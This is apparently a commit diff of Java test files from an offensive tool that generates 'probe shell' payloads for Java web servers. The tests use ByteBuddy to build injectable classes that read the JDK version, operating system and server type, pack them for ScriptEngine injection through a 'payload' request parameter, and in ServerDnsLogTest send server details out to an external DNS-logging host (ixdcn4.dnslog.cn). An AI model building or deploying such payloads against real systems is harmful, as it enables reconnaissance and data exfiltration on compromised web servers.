feat: support probe shell generation

generator/src/test/java/com/reajason/javaweb/probe/ProbeGeneratorTest.java

@@ -0,0 +1,32 @@
+package com.reajason.javaweb.probe;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.packer.Packers;
+import com.reajason.javaweb.probe.config.ProbeConfig;
+import com.reajason.javaweb.probe.config.ResponseBodyConfig;
+import lombok.SneakyThrows;
+import org.junit.jupiter.api.Test;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/5
+ */
+class ProbeGeneratorTest {
+
+    @Test
+    @SneakyThrows
+    void generate() {
+        ProbeConfig probeConfig = ProbeConfig.builder()
+                .probeMethod(ProbeMethod.ResponseBody)
+                .probeContent(ProbeContent.Bytecode)
+                .build();
+        ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
+                .server(Constants.Server.JETTY)
+                .reqParamName("payload")
+                .build();
+        ProbeResult probeResult = ProbeGenerator.generate(probeConfig, responseBodyConfig);
+        System.out.println(probeResult.getShellBytesBase64Str());
+//        Files.write(Paths.get("hello.class"), probeResult.getShellBytes());
+        System.out.println(Packers.ScriptEngine.getInstance().pack(probeResult.toClassPackerConfig()));
+    }
+}

generator/src/test/java/com/reajason/javaweb/probe/payload/Hello.java

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+package com.reajason.javaweb.probe.payload;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/1
+ */
+public class Hello {
+    @Override
+    public String toString() {
+        return null;
+    }
+}

generator/src/test/java/com/reajason/javaweb/probe/payload/JdkDetectionTest.java

@@ -0,0 +1,30 @@
+package com.reajason.javaweb.probe.payload;
+
+import lombok.SneakyThrows;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.asm.Advice;
+import org.junit.jupiter.api.Disabled;
+import org.junit.jupiter.api.Test;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static net.bytebuddy.matcher.ElementMatchers.named;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/1
+ */
+class JdkDetectionTest {
+
+    @Test
+    @Disabled
+    @SneakyThrows
+    void test() {
+        byte[] bytes = new ByteBuddy()
+                .redefine(Hello.class)
+                .visit(Advice.to(JdkProbe.class).on(named("toString")))
+                .make().getBytes();
+        Files.write(Paths.get("jdkDetection.class"), bytes);
+    }
+}

generator/src/test/java/com/reajason/javaweb/probe/payload/OsDetectionTest.java

@@ -0,0 +1,35 @@
+package com.reajason.javaweb.probe.payload;
+
+import lombok.SneakyThrows;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.asm.Advice;
+import org.junit.jupiter.api.Disabled;
+import org.junit.jupiter.api.Test;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static net.bytebuddy.matcher.ElementMatchers.named;
+
+/**
+ * @author ReaJason
+ * @since 2025/7/26
+ */
+class OsDetectionTest {
+
+    @Test
+    @Disabled
+    @SneakyThrows
+    void testBytes() {
+        byte[] bytes = new ByteBuddy()
+                .redefine(Hello.class)
+                .visit(Advice.to(OsProbe.class).on(named("toString")))
+                .make().getBytes();
+        Files.write(Paths.get("osDetection.class"), bytes);
+    }
+
+    @Test
+    void test() {
+        System.out.println(System.getProperty("os.name").toLowerCase());
+    }
+}

generator/src/test/java/com/reajason/javaweb/probe/payload/dns/ServerDnsLogTest.java

@@ -0,0 +1,30 @@
+package com.reajason.javaweb.probe.payload.dns;
+
+import com.reajason.javaweb.probe.payload.ServerProbe;
+import lombok.SneakyThrows;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.asm.Advice;
+import org.junit.jupiter.api.Disabled;
+import org.junit.jupiter.api.Test;
+
+import static net.bytebuddy.matcher.ElementMatchers.named;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/1
+ */
+class ServerDnsLogTest {
+
+    @Test
+    @Disabled
+    @SneakyThrows
+    void test() {
+        Class<? extends DnsLogServer> loaded = new ByteBuddy()
+                .redefine(DnsLogServer.class)
+                .name("ServerDnsLogTest1")
+                .field(named("host")).value("ixdcn4.dnslog.cn")
+                .visit(Advice.to(ServerProbe.class).on(named("getServer")))
+                .make().load(getClass().getClassLoader()).getLoaded();
+        loaded.getDeclaredConstructor().newInstance();
+    }
+}